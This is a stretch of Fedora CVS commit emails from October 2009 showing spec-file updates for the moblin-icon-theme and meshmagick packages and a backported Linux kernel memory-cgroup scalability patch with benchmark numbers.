 Requires:  hicolor-icon-theme
-BuildRequires:  icon-naming-utils
+BuildRequires: icon-naming-utils
 
 %description
 Moblin icon theme
@@ -81,6 +79,9 @@ fi
 %{_datadir}/icons/moblin
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.8-1
+- New upstream 0.8 release
+
 * Mon Sep  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.7.1-0.1
 - Upstream git snapshot to pull in icon updates
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Sep 2009 23:03:48 -0000	1.3
+++ sources	12 Oct 2009 20:06:54 -0000	1.4
@@ -1 +1 @@
-08c0ed0055b78fd3aaadfaaf99974afe  moblin-icon-theme-0.7.1.tar.bz2
+6947e9a349338bcb1a63d319c5e7faaf  moblin-icon-theme-0.8.tar.bz2



From pbrobinson at fedoraproject.org  Mon Oct 12 20:10:02 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 20:10:02 +0000 (UTC)
Subject: rpms/moblin-icon-theme/F-12 .cvsignore, 1.3,
	1.4 moblin-icon-theme.spec, 1.4, 1.5 sources, 1.3, 1.4
Message-ID: <20091012201002.22F2611C029F@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-icon-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4274

Modified Files:
	.cvsignore moblin-icon-theme.spec sources 
Log Message:
- New upstream 0.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Sep 2009 23:03:48 -0000	1.3
+++ .cvsignore	12 Oct 2009 20:10:01 -0000	1.4
@@ -1 +1 @@
-moblin-icon-theme-0.7.1.tar.bz2
+moblin-icon-theme-0.8.tar.bz2


Index: moblin-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/moblin-icon-theme.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- moblin-icon-theme.spec	7 Sep 2009 23:03:48 -0000	1.4
+++ moblin-icon-theme.spec	12 Oct 2009 20:10:01 -0000	1.5
@@ -1,19 +1,17 @@
-Name:           moblin-icon-theme
-Version:        0.7.1
-Release:        0.1
-Summary:        Moblin icon theme
-
-Group:          User Interface/Desktops
-License:        CC-BY-SA
-URL:            http://www.moblin.org/
-#Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
-#git archive --format=tar --prefix=moblin-icon-theme-0.7.1/ b88b673 | bzip2 > moblin-icon-theme-0.7.1.tar.bz2
-Source0:        %{name}-%{version}.tar.bz2
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildArch:      noarch
+Name:          moblin-icon-theme
+Version:       0.8
+Release:       1
+Summary:       Moblin icon theme
+
+Group:         User Interface/Desktops
+License:       CC-BY-SA
+URL:           http://www.moblin.org/
+Source0:       http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch:     noarch
 
 Requires:  hicolor-icon-theme
-BuildRequires:  icon-naming-utils
+BuildRequires: icon-naming-utils
 
 %description
 Moblin icon theme
@@ -81,6 +79,9 @@ fi
 %{_datadir}/icons/moblin
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.8-1
+- New upstream 0.8 release
+
 * Mon Sep  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.7.1-0.1
 - Upstream git snapshot to pull in icon updates
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Sep 2009 23:03:48 -0000	1.3
+++ sources	12 Oct 2009 20:10:01 -0000	1.4
@@ -1 +1 @@
-08c0ed0055b78fd3aaadfaaf99974afe  moblin-icon-theme-0.7.1.tar.bz2
+6947e9a349338bcb1a63d319c5e7faaf  moblin-icon-theme-0.8.tar.bz2



From atorkhov at fedoraproject.org  Mon Oct 12 20:11:22 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 12 Oct 2009 20:11:22 +0000 (UTC)
Subject: rpms/meshmagick/F-11 meshmagick-0.6.0-debuginfo.patch, NONE,
	1.1 meshmagick-0.6.0-fixbuild.patch, NONE, 1.1 .cvsignore, 1.2,
	1.3 meshmagick.spec, 1.1, 1.2 sources, 1.2,
	1.3 meshmagick-0.5.2-debuginfo.patch, 1.1, NONE
Message-ID: <20091012201122.2C8DD11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/meshmagick/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4724

Modified Files:
	.cvsignore meshmagick.spec sources 
Added Files:
	meshmagick-0.6.0-debuginfo.patch 
	meshmagick-0.6.0-fixbuild.patch 
Removed Files:
	meshmagick-0.5.2-debuginfo.patch 
Log Message:
* Tue Oct 13 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
- Update


meshmagick-0.6.0-debuginfo.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE meshmagick-0.6.0-debuginfo.patch ---
diff -ur meshmagick/configure.in meshmagick.orig/configure.in
--- meshmagick/configure.in	2009-01-11 01:15:16.000000000 +0300
+++ meshmagick.orig/configure.in	2009-10-12 23:15:57.000000000 +0400
@@ -17,7 +17,7 @@
 if test "$enable_debug" = "yes"; then
     CXXFLAGS="$CXXFLAGS -g -O0 -DDEBUG"
 else
-    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG -s"
+    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG"
 fi
 
 # Pthreads

meshmagick-0.6.0-fixbuild.patch:
 Makefile.am |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE meshmagick-0.6.0-fixbuild.patch ---
diff -ur meshmagick.orig/include/Makefile.am meshmagick/include/Makefile.am
--- meshmagick.orig/include/Makefile.am	2009-05-29 02:32:09.000000000 +0400
+++ meshmagick/include/Makefile.am	2009-10-12 23:36:06.000000000 +0400
@@ -22,6 +22,4 @@
 	MmToolManager.h \
 	MmToolUtils.h \
 	MmTransformToolFactory.h \
-	MmTransformTool.h \
-	MmStatefulMeshSerializer.h \
-	MmStatefulSkeletonSerializer.h 
+	MmTransformTool.h


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Mar 2009 20:13:45 -0000	1.2
+++ .cvsignore	12 Oct 2009 20:11:21 -0000	1.3
@@ -1 +1 @@
-meshmagick-0.5.2.tar.bz2
+meshmagick-0.6.0-r2698.tar.bz2


Index: meshmagick.spec
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-11/meshmagick.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- meshmagick.spec	5 Mar 2009 20:13:45 -0000	1.1
+++ meshmagick.spec	12 Oct 2009 20:11:22 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           meshmagick
-Version:        0.5.2
-Release:        4.20090124svn2618%{?dist}
+Version:        0.6.0
+Release:        1.20090529svn2698%{?dist}
 Summary:        Command line manipulation tool for Ogre meshes
 
 Group:          Applications/Multimedia
@@ -8,13 +8,14 @@ License:        LGPLv2+
 URL:            http://www.ogre3d.org/wiki/index.php/MeshMagick
 # The source for this package was pulled from upstream's svn.  Use the
 # following commands to generate the tarball:
-#  svn export -r 2618 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
-#  cd meshmagick
-#  ./bootstrap && ./configure && make dist-bzip2
-Source0:        %{name}-%{version}.tar.bz2
-Patch0:         meshmagick-0.5.2-debuginfo.patch
+#  svn export -r 2698 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
+#  tar cjf meshmagick-0.6.0-r2698.tar.bz2 meshmagick
+Source0:        %{name}-%{version}-r2698.tar.bz2
+Patch0:         meshmagick-0.6.0-debuginfo.patch
+Patch1:         meshmagick-0.6.0-fixbuild.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  autoconf automake libtool
 BuildRequires:  ogre-devel
 
 %description
@@ -43,13 +44,15 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q
+%setup -q -n %{name}
 %patch0 -p1
-chmod -x include/{EditableMesh.h,EditableSkeleton.h,RenameToolFactory.h,RenameTool.h} src/{EditableMesh.cpp,EditableSkeleton.cpp,RenameToolFactory.cpp,RenameTool.cpp}
+%patch1 -p1
 
 
 %build
+./bootstrap
 %configure --disable-static
+#cmake .
 make %{?_smp_mflags}
 
 
@@ -85,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
+- Update
+
 * Wed Mar 04 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.2-4.20090124svn2618
 - Polishing the Requires
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Mar 2009 20:13:45 -0000	1.2
+++ sources	12 Oct 2009 20:11:22 -0000	1.3
@@ -1 +1 @@
-aa2e668e74259b16d4d46596b566c306  meshmagick-0.5.2.tar.bz2
+4419b51634612ccaeff8e067278701fb  meshmagick-0.6.0-r2698.tar.bz2


--- meshmagick-0.5.2-debuginfo.patch DELETED ---



From pbrobinson at fedoraproject.org  Mon Oct 12 20:12:08 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 20:12:08 +0000 (UTC)
Subject: rpms/moblin-icon-theme/F-12 moblin-icon-theme.spec,1.5,1.6
Message-ID: <20091012201208.5925711C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-icon-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4874

Modified Files:
	moblin-icon-theme.spec 
Log Message:
- New upstream 0.8 release


Index: moblin-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/F-12/moblin-icon-theme.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-icon-theme.spec	12 Oct 2009 20:10:01 -0000	1.5
+++ moblin-icon-theme.spec	12 Oct 2009 20:12:08 -0000	1.6
@@ -1,6 +1,6 @@
 Name:          moblin-icon-theme
 Version:       0.8
-Release:       1
+Release:       1%{?dist}
 Summary:       Moblin icon theme
 
 Group:         User Interface/Desktops
@@ -10,7 +10,7 @@ Source0:       http://git.moblin.org/cgi
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:     noarch
 
-Requires:  hicolor-icon-theme
+Requires:      hicolor-icon-theme
 BuildRequires: icon-naming-utils
 
 %description



From atorkhov at fedoraproject.org  Mon Oct 12 20:13:42 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 12 Oct 2009 20:13:42 +0000 (UTC)
Subject: rpms/meshmagick/F-10 meshmagick-0.6.0-debuginfo.patch, NONE,
	1.1 meshmagick-0.6.0-fixbuild.patch, NONE, 1.1 .cvsignore, 1.2,
	1.3 meshmagick.spec, 1.1, 1.2 sources, 1.2,
	1.3 meshmagick-0.5.2-debuginfo.patch, 1.1, NONE
Message-ID: <20091012201342.8903211C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/meshmagick/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5140

Modified Files:
	.cvsignore meshmagick.spec sources 
Added Files:
	meshmagick-0.6.0-debuginfo.patch 
	meshmagick-0.6.0-fixbuild.patch 
Removed Files:
	meshmagick-0.5.2-debuginfo.patch 
Log Message:
* Tue Oct 13 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
- Update


meshmagick-0.6.0-debuginfo.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE meshmagick-0.6.0-debuginfo.patch ---
diff -ur meshmagick/configure.in meshmagick.orig/configure.in
--- meshmagick/configure.in	2009-01-11 01:15:16.000000000 +0300
+++ meshmagick.orig/configure.in	2009-10-12 23:15:57.000000000 +0400
@@ -17,7 +17,7 @@
 if test "$enable_debug" = "yes"; then
     CXXFLAGS="$CXXFLAGS -g -O0 -DDEBUG"
 else
-    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG -s"
+    CXXFLAGS="$CXXFLAGS -O2 -DNDEBUG"
 fi
 
 # Pthreads

meshmagick-0.6.0-fixbuild.patch:
 Makefile.am |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE meshmagick-0.6.0-fixbuild.patch ---
diff -ur meshmagick.orig/include/Makefile.am meshmagick/include/Makefile.am
--- meshmagick.orig/include/Makefile.am	2009-05-29 02:32:09.000000000 +0400
+++ meshmagick/include/Makefile.am	2009-10-12 23:36:06.000000000 +0400
@@ -22,6 +22,4 @@
 	MmToolManager.h \
 	MmToolUtils.h \
 	MmTransformToolFactory.h \
-	MmTransformTool.h \
-	MmStatefulMeshSerializer.h \
-	MmStatefulSkeletonSerializer.h 
+	MmTransformTool.h


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Mar 2009 20:16:52 -0000	1.2
+++ .cvsignore	12 Oct 2009 20:13:42 -0000	1.3
@@ -1 +1 @@
-meshmagick-0.5.2.tar.bz2
+meshmagick-0.6.0-r2698.tar.bz2


Index: meshmagick.spec
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-10/meshmagick.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- meshmagick.spec	5 Mar 2009 20:16:52 -0000	1.1
+++ meshmagick.spec	12 Oct 2009 20:13:42 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           meshmagick
-Version:        0.5.2
-Release:        4.20090124svn2618%{?dist}
+Version:        0.6.0
+Release:        1.20090529svn2698%{?dist}
 Summary:        Command line manipulation tool for Ogre meshes
 
 Group:          Applications/Multimedia
@@ -8,13 +8,14 @@ License:        LGPLv2+
 URL:            http://www.ogre3d.org/wiki/index.php/MeshMagick
 # The source for this package was pulled from upstream's svn.  Use the
 # following commands to generate the tarball:
-#  svn export -r 2618 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
-#  cd meshmagick
-#  ./bootstrap && ./configure && make dist-bzip2
-Source0:        %{name}-%{version}.tar.bz2
-Patch0:         meshmagick-0.5.2-debuginfo.patch
+#  svn export -r 2698 https://ogreaddons.svn.sourceforge.net/svnroot/ogreaddons/trunk/meshmagick meshmagick
+#  tar cjf meshmagick-0.6.0-r2698.tar.bz2 meshmagick
+Source0:        %{name}-%{version}-r2698.tar.bz2
+Patch0:         meshmagick-0.6.0-debuginfo.patch
+Patch1:         meshmagick-0.6.0-fixbuild.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  autoconf automake libtool
 BuildRequires:  ogre-devel
 
 %description
@@ -43,13 +44,15 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q
+%setup -q -n %{name}
 %patch0 -p1
-chmod -x include/{EditableMesh.h,EditableSkeleton.h,RenameToolFactory.h,RenameTool.h} src/{EditableMesh.cpp,EditableSkeleton.cpp,RenameToolFactory.cpp,RenameTool.cpp}
+%patch1 -p1
 
 
 %build
+./bootstrap
 %configure --disable-static
+#cmake .
 make %{?_smp_mflags}
 
 
@@ -85,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.6.0-1.20090529svn2698
+- Update
+
 * Wed Mar 04 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.2-4.20090124svn2618
 - Polishing the Requires
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/meshmagick/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Mar 2009 20:16:52 -0000	1.2
+++ sources	12 Oct 2009 20:13:42 -0000	1.3
@@ -1 +1 @@
-aa2e668e74259b16d4d46596b566c306  meshmagick-0.5.2.tar.bz2
+4419b51634612ccaeff8e067278701fb  meshmagick-0.6.0-r2698.tar.bz2


--- meshmagick-0.5.2-debuginfo.patch DELETED ---



From kyle at fedoraproject.org  Mon Oct 12 20:17:23 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon, 12 Oct 2009 20:17:23 +0000 (UTC)
Subject: rpms/kernel/F-12 improve-resource-counter-scalability.patch, NONE, 
	1.1 kernel.spec, 1.1860, 1.1861
Message-ID: <20091012201723.DDC7F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6595

Modified Files:
	kernel.spec 
Added Files:
	improve-resource-counter-scalability.patch 
Log Message:
* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.4-75.rc2
- improve-resource-counter-scalability.patch: Fix scalability issues
  on big machines, requested by prarit.


improve-resource-counter-scalability.patch:
 memcontrol.c |  127 +++++++++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 106 insertions(+), 21 deletions(-)

--- NEW FILE improve-resource-counter-scalability.patch ---
This patch was sent to me by Balbir Singh, cc'd, who worked on the original
patch.  The patch results in a massive increase in performance on a 64p/32G
system.  The patch was successfully compiled and tested by me on fedora-latest.

>From the upstream commit:

"Data from Prarit (kernel compile with make -j64 on a 64
CPU/32G machine)

For a single run

Without patch

real 27m8.988s
user 87m24.916s
sys 382m6.037s

With patch

real    4m18.607s
user    84m58.943s
sys     50m52.682s

With config turned off

real    4m54.972s
user    90m13.456s
sys     50m19.711s

NOTE: The data looks counterintuitive due to the increased performance
with the patch, even over the config being turned off. We probably need
more runs, but so far all testing has shown that the patches definitely
help."

-------------------------------------------------------------------------------

Backport 0c3e73e84fe3f64cf1c2e8bb4e91e8901cbcdc38

From: Balbir Singh <balbir at linux.vnet.ibm.com>

(memcg: improve resource counter scalability) to 2.6.31.
It is a very useful patch for non-users of memory control
group as it reduces the overhead quite significantly.

Signed-off-by: Balbir Singh <balbir at linux.vnet.ibm.com>
---

 mm/memcontrol.c |  127 ++++++++++++++++++++++++++++++++++++++++++++++---------
 1 files changed, 106 insertions(+), 21 deletions(-)


diff --git a/mm/memcontrol.c b/mm/memcontrol.c
index fd4529d..4821be0 100644
--- a/mm/memcontrol.c
+++ b/mm/memcontrol.c
@@ -43,6 +43,7 @@
 
 struct cgroup_subsys mem_cgroup_subsys __read_mostly;
 #define MEM_CGROUP_RECLAIM_RETRIES	5
+struct mem_cgroup *root_mem_cgroup __read_mostly;
 
 #ifdef CONFIG_CGROUP_MEM_RES_CTLR_SWAP
 /* Turned on only when memory cgroup is enabled && really_do_swap_account = 1 */
@@ -66,6 +67,7 @@ enum mem_cgroup_stat_index {
 	MEM_CGROUP_STAT_MAPPED_FILE,  /* # of pages charged as file rss */
 	MEM_CGROUP_STAT_PGPGIN_COUNT,	/* # of pages paged in */
 	MEM_CGROUP_STAT_PGPGOUT_COUNT,	/* # of pages paged out */
+	MEM_CGROUP_STAT_SWAPOUT, /* # of pages, swapped out */
 
 	MEM_CGROUP_STAT_NSTATS,
 };
@@ -219,11 +221,24 @@ static void mem_cgroup_get(struct mem_cgroup *mem);
 static void mem_cgroup_put(struct mem_cgroup *mem);
 static struct mem_cgroup *parent_mem_cgroup(struct mem_cgroup *mem);
 
+static void mem_cgroup_swap_statistics(struct mem_cgroup *mem,
+					 bool charge)
+{
+	int val = (charge) ? 1 : -1;
+	struct mem_cgroup_stat *stat = &mem->stat;
+	struct mem_cgroup_stat_cpu *cpustat;
+	int cpu = get_cpu();
+
+	cpustat = &stat->cpustat[cpu];
+	__mem_cgroup_stat_add_safe(cpustat, MEM_CGROUP_STAT_SWAPOUT, val);
+	put_cpu();
+}
+
 static void mem_cgroup_charge_statistics(struct mem_cgroup *mem,
 					 struct page_cgroup *pc,
 					 bool charge)
 {
-	int val = (charge)? 1 : -1;
+	int val = (charge) ? 1 : -1;
 	struct mem_cgroup_stat *stat = &mem->stat;
 	struct mem_cgroup_stat_cpu *cpustat;
 	int cpu = get_cpu();
@@ -354,6 +369,11 @@ static int mem_cgroup_walk_tree(struct mem_cgroup *root, void *data,
 	return ret;
 }
 
+static inline bool mem_cgroup_is_root(struct mem_cgroup *mem)
+{
+	return (mem == root_mem_cgroup);
+}
+
 /*
  * Following LRU functions are allowed to be used without PCG_LOCK.
  * Operations are called by routine of global LRU independently from memcg.
@@ -996,9 +1016,11 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm,
 	VM_BUG_ON(css_is_removed(&mem->css));
 
 	while (1) {
-		int ret;
+		int ret = 0;
 		bool noswap = false;
 
+		if (mem_cgroup_is_root(mem))
+			goto done;
 		ret = res_counter_charge(&mem->res, PAGE_SIZE, &fail_res);
 		if (likely(!ret)) {
 			if (!do_swap_account)
@@ -1046,6 +1068,7 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm,
 			goto nomem;
 		}
 	}
+done:
 	return 0;
 nomem:
 	css_put(&mem->css);
@@ -1119,9 +1142,11 @@ static void __mem_cgroup_commit_charge(struct mem_cgroup *mem,
 	lock_page_cgroup(pc);
 	if (unlikely(PageCgroupUsed(pc))) {
 		unlock_page_cgroup(pc);
-		res_counter_uncharge(&mem->res, PAGE_SIZE);
-		if (do_swap_account)
-			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+		if (!mem_cgroup_is_root(mem)) {
+			res_counter_uncharge(&mem->res, PAGE_SIZE);
+			if (do_swap_account)
+				res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+		}
 		css_put(&mem->css);
 		return;
 	}
@@ -1178,7 +1203,8 @@ static int mem_cgroup_move_account(struct page_cgroup *pc,
 	if (pc->mem_cgroup != from)
 		goto out;
 
-	res_counter_uncharge(&from->res, PAGE_SIZE);
+	if (!mem_cgroup_is_root(from))
+		res_counter_uncharge(&from->res, PAGE_SIZE);
 	mem_cgroup_charge_statistics(from, pc, false);
 
 	page = pc->page;
@@ -1197,7 +1223,7 @@ static int mem_cgroup_move_account(struct page_cgroup *pc,
 						1);
 	}
 
-	if (do_swap_account)
+	if (do_swap_account && !mem_cgroup_is_root(from))
 		res_counter_uncharge(&from->memsw, PAGE_SIZE);
 	css_put(&from->css);
 
@@ -1268,9 +1294,11 @@ uncharge:
 	/* drop extra refcnt by try_charge() */
 	css_put(&parent->css);
 	/* uncharge if move fails */
-	res_counter_uncharge(&parent->res, PAGE_SIZE);
-	if (do_swap_account)
-		res_counter_uncharge(&parent->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(parent)) {
+		res_counter_uncharge(&parent->res, PAGE_SIZE);
+		if (do_swap_account)
+			res_counter_uncharge(&parent->memsw, PAGE_SIZE);
+	}
 	return ret;
 }
 
@@ -1459,7 +1487,9 @@ __mem_cgroup_commit_charge_swapin(struct page *page, struct mem_cgroup *ptr,
 			 * This recorded memcg can be obsolete one. So, avoid
 			 * calling css_tryget
 			 */
-			res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+			if (!mem_cgroup_is_root(memcg))
+				res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+			mem_cgroup_swap_statistics(memcg, false);
 			mem_cgroup_put(memcg);
 		}
 		rcu_read_unlock();
@@ -1484,9 +1514,11 @@ void mem_cgroup_cancel_charge_swapin(struct mem_cgroup *mem)
 		return;
 	if (!mem)
 		return;
-	res_counter_uncharge(&mem->res, PAGE_SIZE);
-	if (do_swap_account)
-		res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(mem)) {
+		res_counter_uncharge(&mem->res, PAGE_SIZE);
+		if (do_swap_account)
+			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	}
 	css_put(&mem->css);
 }
 
@@ -1538,9 +1570,14 @@ __mem_cgroup_uncharge_common(struct page *page, enum charge_type ctype)
 		break;
 	}
 
-	res_counter_uncharge(&mem->res, PAGE_SIZE);
-	if (do_swap_account && (ctype != MEM_CGROUP_CHARGE_TYPE_SWAPOUT))
-		res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(mem)) {
+		res_counter_uncharge(&mem->res, PAGE_SIZE);
+		if (do_swap_account &&
+				(ctype != MEM_CGROUP_CHARGE_TYPE_SWAPOUT))
+			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	}
+	if (ctype == MEM_CGROUP_CHARGE_TYPE_SWAPOUT)
+		mem_cgroup_swap_statistics(mem, true);
 	mem_cgroup_charge_statistics(mem, pc, false);
 
 	ClearPageCgroupUsed(pc);
@@ -1629,7 +1666,9 @@ void mem_cgroup_uncharge_swap(swp_entry_t ent)
 		 * We uncharge this because swap is freed.
 		 * This memcg can be obsolete one. We avoid calling css_tryget
 		 */
-		res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+		if (!mem_cgroup_is_root(memcg))
+			res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+		mem_cgroup_swap_statistics(memcg, false);
 		mem_cgroup_put(memcg);
 	}
 	rcu_read_unlock();
@@ -2046,20 +2085,64 @@ static int mem_cgroup_hierarchy_write(struct cgroup *cont, struct cftype *cft,
 	return retval;
 }
 
+struct mem_cgroup_idx_data {
+	s64 val;
+	enum mem_cgroup_stat_index idx;
+};
+
+static int
+mem_cgroup_get_idx_stat(struct mem_cgroup *mem, void *data)
+{
+	struct mem_cgroup_idx_data *d = data;
+	d->val += mem_cgroup_read_stat(&mem->stat, d->idx);
+	return 0;
+}
+
+static void
+mem_cgroup_get_recursive_idx_stat(struct mem_cgroup *mem,
+				enum mem_cgroup_stat_index idx, s64 *val)
+{
+	struct mem_cgroup_idx_data d;
+	d.idx = idx;
+	d.val = 0;
+	mem_cgroup_walk_tree(mem, &d, mem_cgroup_get_idx_stat);
+	*val = d.val;
+}
+
 static u64 mem_cgroup_read(struct cgroup *cont, struct cftype *cft)
 {
 	struct mem_cgroup *mem = mem_cgroup_from_cont(cont);
-	u64 val = 0;
+	u64 idx_val, val;
 	int type, name;
 
 	type = MEMFILE_TYPE(cft->private);
 	name = MEMFILE_ATTR(cft->private);
 	switch (type) {
 	case _MEM:
-		val = res_counter_read_u64(&mem->res, name);
+		if (name == RES_USAGE && mem_cgroup_is_root(mem)) {
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_CACHE, &idx_val);
+			val = idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_RSS, &idx_val);
+			val += idx_val;
+			val <<= PAGE_SHIFT;
+		} else
+			val = res_counter_read_u64(&mem->res, name);
 		break;
 	case _MEMSWAP:
-		val = res_counter_read_u64(&mem->memsw, name);
+		if (name == RES_USAGE && mem_cgroup_is_root(mem)) {
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_CACHE, &idx_val);
+			val = idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_RSS, &idx_val);
+			val += idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_SWAPOUT, &idx_val);
+			val <<= PAGE_SHIFT;
+		} else
+			val = res_counter_read_u64(&mem->memsw, name);
 		break;
 	default:
 		BUG();
@@ -2548,6 +2631,7 @@ mem_cgroup_create(struct cgroup_subsys *ss, struct cgroup *cont)
 	/* root ? */
 	if (cont->parent == NULL) {
 		enable_swap_cgroup();
+		root_mem_cgroup = mem;
 		parent = NULL;
 	} else {
 		parent = mem_cgroup_from_cont(cont->parent);
@@ -2577,6 +2661,7 @@ mem_cgroup_create(struct cgroup_subsys *ss, struct cgroup *cont)
 	return &mem->css;
 free_out:
 	__mem_cgroup_free(mem);
+	root_mem_cgroup = NULL;
 	return ERR_PTR(error);
 }
 

_______________________________________________
Fedora-kernel-list mailing list
Fedora-kernel-list at redhat.com
https://www.redhat.com/mailman/listinfo/fedora-kernel-list



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1860
retrieving revision 1.1861
diff -u -p -r1.1860 -r1.1861
--- kernel.spec	12 Oct 2009 14:51:35 -0000	1.1860
+++ kernel.spec	12 Oct 2009 20:17:23 -0000	1.1861
@@ -747,6 +747,10 @@ Patch14010: perf-make-perf-counter-h-ava
 # Fix 2.6.31 regression that caused device failures with ACPI enabled.
 Patch14100: pci-increase-alignment-to-make-more-space.patch
 
